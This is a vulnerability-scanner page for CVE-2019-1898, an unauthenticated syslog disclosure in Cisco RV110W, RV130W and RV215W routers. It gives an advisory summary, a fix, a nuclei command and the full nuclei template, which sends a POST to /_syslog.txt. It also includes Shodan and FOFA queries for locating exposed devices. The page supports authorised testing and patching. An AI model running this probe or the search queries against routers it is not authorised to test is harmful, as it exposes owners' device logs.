Cisco RV110W RV130W RV215W Router - Information leakage

mediumseverity

5.3CVSS score

40.8%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

A vulnerability in the web-based management interface of Cisco RV110W, RV130W, and RV215W Routers could allow an unauthenticated, remote attacker to access the syslog file on an affected device. The vulnerability is due to improper authorization of an HTTP request. An attacker could exploit this vulnerability by accessing the URL for the syslog file. A successful exploit could allow the attacker to access the information contained in the file.

Impact

An attacker can exploit this vulnerability to gain sensitive information from the router.

Fix

Apply the latest firmware update provided by Cisco to fix the vulnerability.

How to confirm it

Send: POST {{BaseURL}}/_syslog.txt
Positive when: status_code == 200 and contains(to_lower(body), "ethernet") && contains(to_lower(body), "connection") and contains(header, "application/octet-stream")

Run it with nuclei: nuclei -id CVE-2019-1898 -u <target>

The full check

id: CVE-2019-1898

info:
  name: Cisco RV110W RV130W RV215W Router - Information leakage
  author: SleepingBag945
  severity: medium
  description: |
    A vulnerability in the web-based management interface of Cisco RV110W, RV130W, and RV215W Routers could allow an unauthenticated, remote attacker to access the syslog file on an affected device. The vulnerability is due to improper authorization of an HTTP request. An attacker could exploit this vulnerability by accessing the URL for the syslog file. A successful exploit could allow the attacker to access the information contained in the file.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the router.
  remediation: |
    Apply the latest firmware update provided by Cisco to fix the vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-1898
    - https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190619-rv-fileaccess
    - https://www.tenable.com/security/research/tra-2019-29
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2019-1898
    cwe-id: CWE-425,CWE-285
    epss-score: 0.40772
    epss-percentile: 0.98667
    cpe: cpe:2.3:o:cisco:rv110w_firmware:-:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cisco
    product: rv110w_firmware
    shodan-query: http.favicon.hash:"-646322113"
    fofa-query: icon_hash="-646322113"
  tags: cve,cve2019,cisco,router,iot,vuln

http:
  - method: POST
    path:
      - '{{BaseURL}}/_syslog.txt'

    headers:
      Content-Type: application/x-www-form-urlencoded
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(to_lower(body), "ethernet") && contains(to_lower(body), "connection")'
          - 'contains(header, "application/octet-stream")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from